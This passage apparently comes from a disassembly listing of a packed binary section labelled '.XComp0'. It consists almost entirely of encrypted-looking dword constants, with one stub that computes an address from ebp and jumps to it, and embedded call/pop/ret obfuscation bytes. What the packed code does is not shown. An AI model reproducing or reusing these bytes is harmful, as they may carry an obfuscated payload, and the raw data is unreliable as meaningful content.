17D2C342h, 31CE41F7h, 6AA14B88h dd 0DB7B2E9Fh, 96860278h, 9379C029h, 982BD99Ch, 562734F9h dd 0D32995B9h, 0CB140D6h, 0F221D801h, 2995B987h, 3DF71704h dd 13FAE3DCh, 0A9F16703h, 922EC970h, 4A6F787Dh, 6DE076BBh dd 2F8ECC81h, 8182684Fh, 41B95D0Ch, 0BF379D44h, 3B73B847h dd 47F2FB1Bh, 0F40567C5h, 30EB7443h, 239D744Dh, 214DDCAh dd 0C350C7F3h, 239D74BAh, 5D7F4A37h, 571A58BCh, 9D2D317h dd 24E906E5h, 0DBB44FDh, 931465F6h, 0A491239Ch, 9C930677h dd 4B868323h, 983542ABh, 1E48075h, 0FB319D5h, 0B3D278BBh dd 0F41BC33Ch, 0B12A9362h, 7A03100Bh, 0F7239D83h, 1BCEBF0Ah dd 0FE12ED6h, 0C848D65Fh, 0A4h, 0A7608C1Ah, 0F18CC772h dd 6E299685h, 0DEDA5BB1h, 5C8CC475h, 6F8831BAh, 0A3608A4Bh dd 9CB27732h, 83686D4Dh, 615E0B82h, 51088D78h, 0DA7F1598h dd 0F3D8FDDDh, 3CE9B12h, 0C837D792h, 0C02A929Ah, 0B935AF6h dd 0EB28D11Ch, 29963C92h, 25D7120Fh, 36CDFB04h, 1071EB20h dd 0BA454D2Fh, 1142F714h, 29963468h, 0A1638E5h, 38h, 8EEF2CD5h dd 0B299634h, 0CE42F81Eh, 9F4B8831h, 5E8DA168h, 7F04897Eh dd 299685FBh, 4E8F611h, 2BDEFDD8h, 5BBF00C9h, 0A069A803h dd 2A577Ch, 15A20000h, 7CC254B7h, 7C8731CEh, 5F8EA079h dd 8C556F7Bh, 0E3EA1DBDh, 2FA8DE36h, 0FD8607C2h, 2996207Ah dd 0ECFA15h, 17F92BDCh, 0DEFF69FFh, 143FFA2Fh, 2F8FAEE6h dd 58AF1BA4h, 8A728455h, 5887F6Bh, 0F189D54h, 189F5AA9h dd 73BD51B2h, 0AA806654h, 0CAFC57A2h, 8E1C9158h, 3841D218h dd 0B5239CBAh, 3BD801C8h, 2995CF0Bh, 0CBEF0831h, 53E0B93Ch dd 1DA3A52Ah, 9C54FAA7h, 0CF6CEEDFh, 0A590E92Ah, 100D1DA3h dd 0D9D3FFFEh, 10FDE2EFh, 0A54F2AE9h, 0CFCC1DA3h, 0A2EDDF1Ah dd 0E50891C8h, 0E344EE00h, 0E57CFD1Eh, 0DAF91DA3h, 3DD118F5h dd 42F70CAEh, 0B0A6C5CAh, 0D3CC72F2h, 0D40D21E8h, 0A4335E2Fh dd 202E491Dh, 0BC659E4Ch, 33A3D685h, 46201DA4h, 0D84C2911h dd 0D363AE3Eh, 9637C069h, 0FF61D777h, 32073268h, 8103D4DAh dd 2FCCF454h, 2995F44Eh, 44F6DECBh, 37AFB1CBh, 0CE3FF519h dd 8595E873h, 0E3122996h, 35D910F7h, 27340DACh, 29968556h dd 0D23BA4D3h, 33C30EDBh, 0AA638C0Dh, 0CE6FD176h, 0EC8DCE73h dd 69299685h, 85DE9FBCh, 0AE5B2996h, 52198388h, 8B9E502Fh dd 61000000h, 1D907556h, 0CE94AA4Ch, 777E8931h, 47D08CA2h dd 73CEED1Bh, 45735E8Ch, 0A76237BEh, 70E37326h, 2996860Dh dd 5B649D8Ah, 0F6AA970h, 8C299686h, 815D5A8Fh, 0BC52078Eh dd 8731CE76h, 0A45DDA7Ch, 398A7030h, 0C3539B3Dh, 0B646CE7Dh dd 1FAA9FD9h, 9B3DAC42h, 0BC759A36h, 9B557A85h, 8D7BD25Ch dd 6B62A767h, 77EC8DCEh, 0BC692996h, 0A7648A75h, 5DE37326h dd 2D902712h, 0CE043ADCh, 23363A46h, 0A2C0090h, 4DE9h dd 46CE1700h, 0AD6533F8h, 0E7839335h, 0F4D60D70h, 6E4DA15h dd 8DCE1DCBh, 299685ECh, 0CEB14F86h, 9E4B8831h, 7EB36667h dd 0BB4C7077h, 84AA5F3Ah, 5E8C59A7h, 0DEE6F388h, 3AEFD473h dd 0D2271206h, 96853841h, 0F80DAE29h, 0C5C224F5h, 31CE0B31h dd 0A1787D88h, 9C815E8Dh, 9685FE7Fh, 538E7B29h, 9685B5C8h dd 0BC753229h, 75D8A39h, 9A6D299Bh, 8E7F604Ch, 0C6DAE53h dd 89299205h, 15C07A9Ch, 5C5B52B5h, 0C825A770h, 0AE2BD3F5h dd 5E572231h, 27D42992h, 8E79EBE2h, 55806C40h, 16219477h dd 549D54B9h, 4C7087B0h, 0FA769BBBh, 0CA4D2B7Ah, 74798C2Dh dd 9C04773h, 4C39E5h, 0FB040000h, 25EA06CFh, 0BD30F9B0h dd 43CAF3ECh, 638C8DB3h, 40B55678h, 9379A069h, 0DED66D2h dd 3AB34320h, 35EC36A0h, 8F2E7826h, 0F7FEAB2Fh, 0A9459166h dd 90A71723h, 0D97D3D81h, 0AB68B51Ah, 239D0DD2h, 7263A448h dd 8F5A47B7h, 638CD36Dh, 21B723AAh, 61F221C7h, 29968518h dd 0E821E895h, 0E126C631h, 0FB33E04Dh, 512F8F9Ch, 6F7F8466h dd 83629A87h, 9142B35Ah, 0A80FD807h, 0E00BF4B5h, 3397C329h dd 0F14D95D0h, 0FEB09E5Dh, 82ED901h, 0F7D704E9h, 0E2BD118h dd 183EC9F1h, 0E019F4D9h, 9518F7D7h, 21B932C4h, 0A5B66BB7h dd 0A5244359h, 0B0409DCCh, 730285A7h, 535A8F33h, 77994B86h dd 73268FFh, 85582132h, 28D52996h, 31CE3006h, 0AC977D88h dd 331E0B8Dh, 0E98760F6h, 95E873CEh, 12299685h, 0CF3022F8h dd 4D848108h, 36A54AA9h, 8BBD7499h, 6D4F68D1h, 0AC42179Eh dd 8931CE86h, 0E5CA967Eh, 23E9F9F3h, 9992FE13h, 6813502Fh dd 0F5000000h, 73268FFh, 314C0732h, 0AE299685h, 851762F1h dd 0B5942996h, 2801F417h, 0CEE74DE1h, 9685EC8Dh, 0B21BA429h dd 4643BB5Bh, 51BA249Bh, 0D3698D5Ch, 828D31CEh, 927ABF6Ch dd 0B2864537h, 97644896h, 51DB82D0h, 8C310727h, 0D3A6B55Eh dd 50299685h, 0CCEE8153h, 1FE6C91Dh, 271236EAh, 3ADC2D90h dd 478A04h, 0FFB60000h, 0F0073268h, 241A3CCDh, 85EC8DCEh dd 4F862996h, 8A31CEB1h, 0BB5B0E7Fh, 8F3CC37Eh, 42AA7F76h dd 804F1E16h, 54EA0C74h, 730D46CEh, 3BC63348h, 0F8EEDC1Bh dd 1BA03E51h, 0D30EC35Fh, 850801ECh, 12FC42D4h, 78638C2Eh dd 0A96D9856h, 240B6A4Ch, 22B124EDh, 299A8CC5h, 78E7D5Fh dd 4530BE20h, 0C4796424h, 9E890CC5h, 6540CC41h, 0D3A6B579h dd 502991E5h, 0A0979E53h, 2118FCB2h, 0EEDE90B9h, 901BC428h dd 972ADB46h, 0B6577877h, 4A62898Bh, 0E8DB6071h, 0EE98F304h dd 0F717942Bh, 0B8329A3Dh, 0E646012Bh, 0AA138C5Ah, 72B77263h dd 7A8B30C7h, 5790A673h, 0D1AC6792h, 4E29924Ah, 8E2EBD51h dd 37E07479h, 0AC4B8FD5h, 45E9F6DDh, 18C4A8B6h, 0DAC66BD2h dd 3E305325h, 86248830h, 40F9301Fh, 0AB05BECCh, 0A94DD187h dd 0C9EE828Fh, 49B64D2Bh, 7F8633A0h, 80965B0Eh, 28A4h dd 638C7E00h, 798623AAh, 0C894BA55h, 3EDD045Eh, 2F8F8644h dd 1DF0CDEAh, 0C52DC198h, 6F48D5D8h, 77648963h, 0C97BB655h dd 8931CE67h, 0B419D87Eh, 85CFAA69h, 0A4452996h, 49BD6C61h dd 9178635Ch, 53C55558h, 0A114F7D5h, 21D801C8h, 968587F2h dd 4E50429h, 14DD8C01h, 5C263502h, 0C72F8F98h, 0DDDA1FDAh dd 8CED0E01h, 9239D72h, 0DE40FA1Ch, 0A01568FFh, 877F1BF2h dd 828CBC75h, 0AA638CBEh, 6F62886Fh, 7E6FBA49h, 0CEB58BABh dd 5E10FF46h, 5EFD9375h, 2995A31Bh, 1026EB98h, 0D8F60126h dd 47E7C233h, 6046CEF1h, 7091FD64h, 2E927797h, 87502F07h dd 60h, 9749F5Ah, 86269631h, 0CEBF7599h, 8595E873h, 15122996h dd 0A8F26501h, 0EC8DCE78h, 69299685h, 85BC85BCh, 9685A3D6h dd 0D8632029h, 299685A5h, 85BBBE5Dh, 4B382996h, 0B288AE5Bh dd 7F8A31CEh, 0B757B818h, 5E8CC67Ah, 31CE83A5h, 0A1DA7C87h dd 418AFFh, 5DAF0000h, 0B9E3EF68h, 0CD7383BDh, 0E3268FFh dd 85EC8DCEh, 5F862996h, 9685C9B4h, 90594629h, 8C7ACE70h dd 0C57CA55Eh, 9685E396h, 4D716029h, 51E707C2h, 7C8731CEh dd 9EB05783h, 1ECB34D5h, 0CEF147E7h, 0D808B31h, 923BBA5Ch dd 6568A349h, 0B1787DB4h, 6257F55Bh, 799D94A5h, 9A1611D6h dd 5F582129h, 56038A79h, 171541C0h, 84A557B6h, 0FF99E290h dd 648A45A2h, 46736885h, 0E8CF0ABFh, 0DD8C0102h, 0AC3AB039h dd 0A0409B44h, 66AB7E6Fh, 3252BA6Fh, 0F4BC0BCAh, 0AB689158h dd 2F89D55Bh, 0D23D9C6h, 73268FFh, 541ECCF0h, 58AF717Bh dd 8C5D5099h, 0BE82D46Ah, 4F8C31CEh, 6469A06Fh, 6D52A1B5h dd 46CE80A0h, 0EF9945Ch, 308D0ABDh, 0ED01D8DDh, 3AA6ED43h dd 7B502F52h, 3Bh, 789339C6h, 68FF60D6h, 0CAF00732h, 51E5B439h dd 0EC8DCEEBh, 69299685h, 7ACE8CBCh, 4D8A31CEh, 5F569B6Eh dd 6385648Ah, 46CE80A0h, 41F9545Ch, 3E37D73Dh, 598A62h dd 0CEB60000h, 0BFF99646h, 15F7F1ADh, 0C8D818EBh, 0FC688E66h dd 0ED0A2F6Bh, 0E0B93CCFh, 46CEE84Eh, 27711FE4h, 18B6213Ah dd 72702F3h, 5A90E92Ah, 0B2A2996h, 965A2D50h, 0D43BA329h dd 0E99608E1h, 0DEFEF920h, 0AF5A429h, 0FAAF26E3h, 31CEDE54h dd 5BD87E89h, 0A55E8CADh, 8C2E1283h, 0A023AA63h, 299B074Bh dd 0BA219E5Bh, 6B8B5E4Fh, 815E4E9Ch, 506D588Ch, 527B84BDh dd 6F9844BBh, 628BAB7Eh, 0DD045EC8h, 9C11FEE2h, 4F0C29CDh dd 2F8B09BBh, 0A73A059h, 872398FFh, 8F7C749Ah, 98FEF984h dd 40897623h, 68FF829Ch, 31CE0E32h, 766F7F8Ah, 6AA34CB3h dd 31CE6EC4h, 9A6D4D8Ah, 8F30BF4Fh, 9238A34Ch, 6435B871h dd 31CE7BADh, 60DA7C87h, 0E52255B7h, 0F0B4F821h, 73CED85Eh dd 968595E8h, 1151229h, 2F52A00Ch, 4F0550h, 0FFDF0000h dd 0CE0E3268h, 46781746h, 12245F4Eh, 0F83F625h, 3002996h dd 0EF9E1DEh, 7ACE52E8h, 7CA55E8Ch, 85E396C5h, 0A3602996h dd 31CEAD93h, 0F967E89h, 0C7C4AE29h, 7A1F58FEh, 89AD607Dh dd 0E873CEB3h, 29968595h, 0F0011512h, 3Eh, 8D31CE50h, 67F06C82h dd 0EB26E109h, 8C73CE3Dh, 0C88BAB64h, 299685B5h, 0CE669A4Fh dd 0D87E8931h, 5E8CAD5Bh, 2C8F4873h, 2BDD14DDh, 0D97F46CEh dd 0B29F93DEh, 50A421FEh, 0D47A4A04h, 638C059Bh, 0B5E1368Dh dd 0B8716927h, 0B7968B81h, 1C354461h, 0EF79F1FAh, 0E9CD8EB3h dd 272F8F20h, 409C63A5h, 266E1613h, 45B81C8Ch, 6F7B5187h dd 0EAFFA880h, 0A25F97B7h, 1258CE7Ah, 9D0A7801h, 0C108F523h dd 0CD3C9F18h, 614F0C29h, 78299DCEh, 9A5F0A8Bh, 9C460079h dd 6E807D1Dh, 5F7D5E7Fh, 0B97029ACh, 6453B980h, 0FFE0E375h dd 0FFBEBF5Ch, 88341D9Bh, 0CC621F7Fh, 0B35A8362h, 5B807742h dd 0E07623AAh, 0F141C16Dh, 1AEDCD4Eh, 0E12A9493h, 0B39F6EECh dd 7ABF6AEBh, 46BEA0D9h, 0CE601DECh, 748B232Fh, 0BD2CC24Bh dd 9037ED20h, 12D7DE2Fh, 41D245A5h, 0EC46BE38h, 9601C8B5h dd 0EDBD237h, 25E009E8h, 0F7E32AB0h, 0D803D8F5h, 24EDBC31h dd 3DA01700h, 0E910C9CCh, 46BE4F2Ah, 3FCFCCECh, 0F7FE0FB0h dd 8EEh, 31CE5200h, 16D818Ch, 0AC658C43h, 6CA13E29h, 0AA5F7E69h dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah dd 0C14E7275h, 89501BCCh, 405E0h, 0BA520000h, 4, 875AD029h dd 525C2404h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0AF68242Ch dd 89000074h, 0ACBD2434h, 0F723E743h, 3BA52DDh, 81750B72h dd 4272C6E2h, 8142426Eh, 0C511E5E2h, 3DC2816Ch, 31E88513h dd 0DDF75AD5h, 0A4A5F581h, 8B546962h, 0C4832434h, 468F5504h dd 2434FF08h, 4C4815Eh, 8B000000h, 8952242Ch, 4C281E2h dd 81000000h, 4C2h, 24148700h, 0AEECE95Ch db 0F8h, 0FFh, 0F8h ; --------------------------------------------------------------------------- loc_5E860F: ; CODE XREF: .XComp0:loc_5E7A36j mov eax, 600CF95h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 59DB8880h, 367CF940h, 2DC613EAh, 5EA72F98h, 72B7E8E9h dd 334C4014h, 357B0FFAh, 2D1896Eh, 27FBD91Ah, 36A71156h dd 48681863h, 3741C84Ah, 1CB330E7h, 2BDC7BF5h, 3886C53Dh dd 76650CDCh, 6127317Ch, 45241B36h, 7F052A31h, 44C06F43h dd 0DE8h, 81E39500h, 72B95345h, 465D2035h, 0B70F740Ah dd 0BB6658C9h, 0C081C7C1h, 75E5h, 49BE25B1h, 0E900001Dh dd 5, 3AA1322Ah, 66108BA3h, 817C8EBBh, 6F3B98EAh, 16830F0Eh dd 0E9000000h, 11h, 0C337E483h, 51DEFF5Eh, 0C96D770Fh dd 147D7AE2h, 8DEA81AEh, 0F28BC8Ch, 68Dh, 4BE38100h, 815A6BCFh dd 0CB8040F2h, 528CB135h, 0EE9h, 0F4B48500h, 66A873Ch dd 6ECF2C72h, 8FBAC995h, 0DFC18100h, 83515B30h, 0EE8104E8h dd 1, 10850Fh, 27E90000h, 88000000h, 0FFB6A56Ch, 17444926h dd 0BB66DEAFh, 7AE909C3h, 0DFFFFFFFh, 3046F3DAh, 0A7FCBABAh dd 3BFEF5FEh, 0BE833E13h, 8D8D2742h, 600D201h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 41C35343h, 0A992995Fh dd 31959589h, 8D8905F9h, 5F90CDDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0A0C35545h, 0EA3EC897h, 0C185C776h dd 6805F926h, 8B00005Ah, 0F90D599Dh, 0FD85C705h, 5F900h dd 0E9000000h, 0Ah, 0E538EC5Bh, 6FAA2E12h, 0B5FF58D3h dd 5F903D1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 7EC35040h, 0B380A3ADh, 0D595FFCFh, 8B05F920h, 0F91AE595h dd 0F9B52305h, 6A05F924h, 0ED95FF00h, 8B05F91Ah, 0C058EBC0h dd 3497ACC1h, 4661C18Fh, 3BAD4606h, 0EDEB3CB8h, 81687DA6h dd 2CEF99Ch, 42D42630h, 61BFED5h, 10254001h, 1F14ECB7h dd 0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h dd 0FF1B9D17h, 488F45F5h, 5B4F7DF7h, 0E79AC0AEh, 0F1D4EBC5h dd 0A1CBDBABh, 0E88C7191h, 6, 0B7C260C3h, 0B866B52Eh, 0F95E6F84h dd 62F5C681h, 880F0000h, 5, 0D9E98166h, 68FBh, 0B520000h dd 0F9105585h, 535F5905h, 5BCFBF0Fh, 0B43E148Bh, 4EF28127h dd 66532744h, 0EA81C68Bh, 41535E3Dh, 25658589h, 0EA8105F9h dd 0A2237E7h, 0BE8h, 0CA97D200h, 0CECE0DD1h, 20A3C49h dd 0B55BD89h, 895905F9h, 0B9663E14h, 81660E85h, 81D8CFE1h dd 0A6EB84EFh, 81E58A52h, 0A6EB80C7h, 0D1BD2952h, 8105F90Dh dd 0FF9DA0FFh, 9D850FFFh, 81FFFFFFh, 3FC0A5EBh, 0CF8D8D08h dd 8B0600D3h, 0F9077185h, 0DD8D8905h, 6A05F90Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 31E1C357h, 49AE0214h, 0F7DA81DCh, 0C765C529h, 0F926C185h dd 5A4405h, 0FE800h, 0D19F0000h, 27E08h, 858FB8F4h, 283B3DBAh dd 95853124h, 5E05F92Ch, 0FD85C7h, 5F9h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 373C84C3h, 0E1EFB1ABh, 0FF71D3B6h, 0F91FA1B5h, 0CE805h dd 786B0000h, 3E5D48F5h, 4F75B0A5h, 870FCD63h, 6, 2DD9B589h dd 0FF5E05F9h, 0F920D595h, 9E905h, 5F190000h, 0E2BF461h dd 99B0ED6h, 0F92885BDh, 0FF006A05h, 0F91AED95h, 0EBC08B05h dd 86627218h, 0B8D62068h, 622B7811h, 9D46F645h, 0DA8FE7F4h dd 0AB8D4503h, 0D58D8DB7h, 6A0600D4h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6E1CC357h dd 1D1370E4h, 2E5D858Bh, 858B05F9h, 5F924C9h, 0CDD8D89h dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 4F9659C3h, 871517FAh, 958BB2ADh, 5F91E11h dd 26C185C7h, 6CA005F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 3C2F1C3h, 0F9164D9Dh dd 0B5858B05h, 0C705F91Eh, 0F900FD85h, 5, 65B5FF00h, 6605F934h dd 0AE31E381h, 20D595FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 4550B2C3h, 7FC7B8FCh dd 894E9D30h, 0F9280595h, 11958905h, 6A05F91Bh, 0ED95FF00h dd 8B05F91Ah, 531EEBC0h, 0CBF1F417h, 4830A457h, 6D92D50Eh dd 0B8ADEF6h, 44262098h, 12DCE2Ah, 0E0AD7D5Dh, 8E8DFh dd 75590000h, 8108BAAEh, 0BE9823Ch, 81000000h, 58A64EC2h dd 4CECCF9Ah, 0F5E94F5h, 1F8Fh, 19860F00h, 0E8000000h dd 13h, 68BE9A9h, 24C345F1h, 3E74AF2Dh, 32CA4EFEh, 588BF401h dd 5D43C681h, 8D8B0000h, 5F928A5h, 0DE9FF2Bh, 0AB000000h dd 0E54A2930h, 0B8BF506Ch, 824FAEB0h, 8B3734FFh, 0F911F98Dh dd 0B5895B05h, 5F918D9h, 48A2EB81h, 7E914EDh, 7D000000h dd 0AA2A486Ch, 0F3817243h, 3330A27Dh, 0C381D68Bh, 6FF1C8Ch dd 18870Fh, 8F0F0000h, 12h, 0DE9h, 30CB3C00h, 1890D789h dd 5476413Dh, 0E9535980h, 0Dh, 0DE2EDE72h, 6C2DFBB2h, 0BCA463D8h dd 3E048F86h, 29CA8B66h, 0F90A2995h, 0D2EF8105h, 89787927h dd 0F92E818Dh, 0CEC78105h, 56787927h, 68C0Fh, 958B0000h dd 5F91AC5h, 0B0FF8159h, 0FFFFFA3h, 0FFFF6785h, 9A8D8DFFh dd 8B0600D6h, 0F9144D85h, 0DD8D8905h, 0C705F90Ch, 0F926C185h dd 659005h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0AC1B0C63h, 0EEBFD691h, 0B70FF5BBh dd 0FD85C7D0h, 5F900h, 56000000h, 4ABB05BAh, 0B5FF5B0Bh dd 5F916DDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 66C35040h, 6C871EE0h, 0EE8FAh, 0A10B0000h, 2B14E851h dd 30176FEEh, 0D69FE965h, 5ED3B70Fh, 20D595FFh, 9D2905F9h dd 5F90475h, 95FF006Ah, 5F91AEDh, 4BEBC08Bh, 1659B264h dd 11784779h, 42EA02B8h, 469CB89Bh, 6120C96Bh, 0E471F77h dd 0C576C0FAh, 80629C74h, 74549A67h, 0E496CC4Dh, 58AF858h dd 8C175B06h, 0C72C8AD9h, 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah dd 49D6E374h, 7A839A14h, 0C64D6034h, 0F9189985h, 0DF685605h dd 0FFA9C530h, 0F908D1B5h, 10858D05h, 0FF05FCC5h, 8D8D8DD0h dd 5105F914h, 0B5FF406Ah, 5F9008Dh, 71DB5FFh, 0D0FF05F9h dd 8DB5FFh, 0B5FF05F9h, 5F9071Dh, 0DE8h, 4BAB4100h, 6D4BF680h dd 0AD5AAE55h, 5B5B5AC7h, 0C104EB83h, 0C102242Ch, 3022424h dd 1CF7241Ch, 0BF24h, 34FF0000h, 0EA815A1Fh, 4F6BAF17h dd 0E8F6EA81h, 0C28148C7h, 328E3B60h, 3B048F52h, 61D8EF81h dd 0C78160B1h, 60B161D4h, 0F243C3Bh, 0FFFFD185h, 299D8DFFh dd 8B05F921h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0EE9C98Bh dd 6A000000h, 4B0D9Eh, 2 dup(0) dd 83BE900h, 0F4DB0000h, 0E000E71Dh, 0EA0D2Fh, 0D5F6E103h dd 1E90C30h, 0CD44DE06h, 23D92E8Eh, 4BF11AC4h, 14C841ACh dd 0DB010CB1h, 6A1340F9h, 0E72395AEh, 638CBE82h, 42CA6FAAh dd 1B560107h, 611C376Bh, 0DE29966Bh, 15D40D21h, 33C340AAh dd 1CBD18C4h, 0DA03E4E9h, 22E7C233h, 0EBD435E7h, 0CF8A0B02h dd 0E10FB03Fh, 3BD8F8A0h, 2995F942h, 8AEAC2BFh, 8409C0EAh dd 18F5DAE5h, 0C332C495h, 2558031Ah, 0DD2995ABh, 95AB3B3Eh dd 0DBCBB829h, 5F2E32Eh, 46FB26E9h, 95AB6415h, 16F3DA29h dd 0E10CF3B0h, 62F4A528h, 37231489h, 9635C277h, 8CA78273h dd 2995ABF1h, 4E9DB16Eh, 7D689C71h, 0CB76AB5Eh, 95ABED90h dd 99BD6A29h, 5E7D7A9Fh, 0DF6F2AABh, 0C02AAD10h, 4C557143h dd 8DAEF5CEh, 88665144h, 78615E83h, 51986F5Bh, 0BF126BA8h dd 928F2995h, 5784637Ch, 0A04027AEh, 739A7E6Fh, 6CA3B767h dd 0A447B07Eh, 6A9C7065h, 0B5F06769h, 8271854Ch, 0A173AE5Bh dd 0E0BC1C0Fh, 0A972A9BDh, 9AE821h, 2E0B25C9h, 4DE12C91h dd 15CC419Eh, 5B4E2FECh, 0DECB2996h, 5624AF38h, 0FB29965Bh dd 0D502E9D6h, 0CE9B12F5h, 0C614F303h, 2F776C00h, 5201384Dh dd 29964F27h, 0CB57F7A4h, 83h, 0CA45A916h, 638C0E24h, 798623AAh dd 0B396B853h, 299685C8h, 9239C66Bh, 0A762A545h, 0C46A7887h dd 797C933Bh, 0E7798EA0h, 0AF4D2F5Dh, 0CC62A348h, 150h dd 648CB200h, 0D49E76ABh, 9DEF11Fh, 1C1BC46Ah, 0CDB06BB4h dd 4A299619h, 1621945Dh, 0D05D50B5h, 2FFCD029h, 31B5DA67h dd 31DB9EBDh, 0AB582996h, 7E6E7C8Bh, 0EE149062h, 15087BCDh dd 0F8FF28DCh, 0D81737D8h, 0D4EB16F7h, 0FBAE1FE8h, 0CE3FE15Bh dd 787D8831h, 3ABB4A6Fh, 0E46FAA5Fh, 29968599h, 26C56916h dd 931F24C6h, 3C1CF67Ah, 3900F5h, 1D5F1A39h, 1FDC2996h dd 961D6914h, 1539E629h, 0A015FAD6h, 6DAE5304h, 29961E0Ch dd 1DE697C4h, 0A6632996h, 54B34340h, 82916806h, 29961DF7h dd 1DD9A4AFh, 0A9562996h, 47A64835h, 7B8832A3h, 0D9A4AF7Ah dd 5629961Dh, 73A960A9h, 49C42996h, 64A946A5h, 6A8A57BDh dd 6B4831E2h, 0D8C52996h, 0FE907F4h, 0D701E6FFh, 0E20AF52Ch dd 30D81125h, 0DAE589D5h, 12F717F4h, 4D2F20AEh, 0C944A916h dd 0C3F925h, 0BB440000h, 0DE54FA11h, 0CA4E46CEh, 0A9BC5307h dd 81866685h, 0C8737458h, 742C8E8Eh, 0BC1E09E2h, 0E0D74647h dd 35D2FAF2h, 5326350Ch, 0D02995FCh, 0CEF943D3h, 939419EEh dd 0D23ADF26h, 0A501E644h, 12DB7BAEh, 4F46C925h, 6B528568h dd 0B862539Eh, 0C7270551h, 5D944548h, 5B817EC3h, 933A3DB0h dd 4559BB76h, 8102EEFFh, 0B57A648h, 2F78513Bh, 745A654Dh dd 58116CA7h, 918E2996h, 7C6AB658h, 0BC000000h, 5875608Ch dd 9DFE1498h, 60A9533Fh, 0A5628A6Dh, 79B07930h, 0C1487374h dd 4732E118h, 0C4299622h, 88F122D7h, 5299622h, 2BEDF618h dd 0D6F6F6E4h, 79474014h, 0DA0F3A09h, 0D4FA0522h, 53E3B637h dd 0AB648CEDh, 55787F2Ah, 0CBAFA2B4h, 47299685h, 877065A4h dd 6632A362h, 9D6B331Fh, 0BE321442h, 864D2F5Dh, 0C4FF298Eh dd 0B2443D3Ah, 0A76h, 6843C900h, 2CC3F735h, 0CE7FB559h dd 797C8731h, 795F8EA0h, 0BB24038Ah, 86A5FD35h, 0C50CC2E6h dd 0E43BA31Ch, 95E34637h, 0BC6C329h, 0E35802EBh, 0E37CFD1Eh dd 27342995h, 2995E356h, 33F0D6D3h, 0F6F6E423h, 0ED0A2FD4h dd 7A7D20D0h, 33825B4Ch, 39DE58FEh, 4AEC21BEh, 0A752881Eh dd 8F94C66Ch, 0D6FAD92Fh, 0C349F039h, 0AC8069E7h, 3DC72F3h dd 0A752BB24h, 5459AA10h, 55B21A85h, 0CB658960h, 434AC32Ch dd 55B019A6h, 0E2658960h, 239CE395h, 6E5FAE0Fh, 0E3ED90CBh dd 0BD6A239Ch, 696C9942h, 623C2AE1h, 962BA196h, 0C935218Dh dd 6E7C8BABh, 78AC617Eh, 0D0A96A8Fh, 4D239C88h, 8E2FBE50h dd 805D5A7Fh, 0B980698Dh, 88AAD380h, 7A27239Ch, 23B815D4h dd 6BA851B8h, 239C8912h, 5657928Fh, 8B319BEh, 614A779Ch dd 0CF2EC9B5h, 3E43B8FDh, 0B564699Eh, 3F2BDA7Ch, 0A04B902Dh dd 7CB56469h, 77585FC8h, 0A44A1F96h, 0D6CF8D5Fh, 73A05948h dd 239CE80Ah, 0A8749A87h, 24Eh, 0EC8DCE73h, 69239CE7h dd 739A43BCh, 0B187A782h, 7E8931CEh, 0D08CA277h, 556FFF46h dd 41BE9598h, 0FA85188h, 0BC6D60AFh, 0E3739A43h, 8E9B1A70h dd 1754B82Fh, 0CCA022D8h, 4E74C5FDh, 0CC562BDh, 0A01512EAh dd 8FDDED9h, 0B342D485h, 8B13E60Ah, 0BDDF1302h, 30E9EC1Fh dd 30930F9h, 8699554Eh, 72BC5228h, 7EA36A53h, 92C15C81h dd 239C38E7h, 0DC72B764h, 52BB2403h, 5DAE10A7h, 746D8158h dd 0D6D537E0h, 9F70501Fh, 9387FD4Dh, 98568483h, 77C7B261h dd 5744239Ch, 449738B7h, 0B2676E97h, 9535C277h, 88AE7B72h dd 2E8389AEh, 6BD7B929h, 0BFDB3A4h, 0E68AADA9h, 0B826A4F7h dd 27C702E0h, 0D5990EE2h, 0F02BD648h, 239BB58Dh, 0BD30D703h dd 0E90DFAECh, 0C43Dh, 0D6F70000h, 0B5710C47h, 31EE239Bh dd 0FFE056F8h, 1F5A1865h, 0B9B2B357h, 9662DF9Ah, 6A9F5C29h dd 5D7D7A9Fh, 5C318F8Dh, 0F732033Ch, 0AD1FDA57h, 0EAC451E7h dd 0CF829406h, 0A995B68Eh, 0DDA0BB86h, 5AA995B6h, 0B47189ADh dd 0D6A7B48Dh, 53A995B6h, 8227C056h, 9CB25575h, 95B6D0A9h dd 33AA46A9h, 5D0C8188h, 0B8162194h, 51B86253h, 4AD03C05h dd 0BBADD5B9h, 9E191E76h, 0DC2BCB40h, 578B118Eh, 55B815A2h dd 74CD74C1h, 965D96E7h, 0F8E413A9h, 1134DA0Fh, 29965D48h dd 1F5AF940h, 9C29965Dh, 33FE11ADh, 0F32EDB23h, 10CB14Eh dd 965D87F2h, 0F7170429h, 0BC983Dh, 18E10000h, 965D82FBh dd 0EC02FF29h, 8B31CE46h, 64F26E80h, 0EB26DF0Ch, 865D2536h dd 3E032F8Fh, 84255803h, 0E5A2239Dh, 9D842356h, 53E3A023h dd 0FDF4E1ABh, 66F91E4Fh, 0A03D2AABh, 7F768D3Bh, 1ABD5FAAh dd 0AE5558B5h, 239CFAC6h, 3A322067h, 78C17895h, 9CF8A2DBh dd 0CC621F23h, 3A60F662h, 16D4F8FFh, 5260E155h, 0D0C50C81h dd 1B38F519h, 299E58FCh, 61A43B45h, 9FBB4BF3h, 0CC05CC3Bh dd 329720C9h, 0BB443D3h, 320F8B02h, 8272D3DAh, 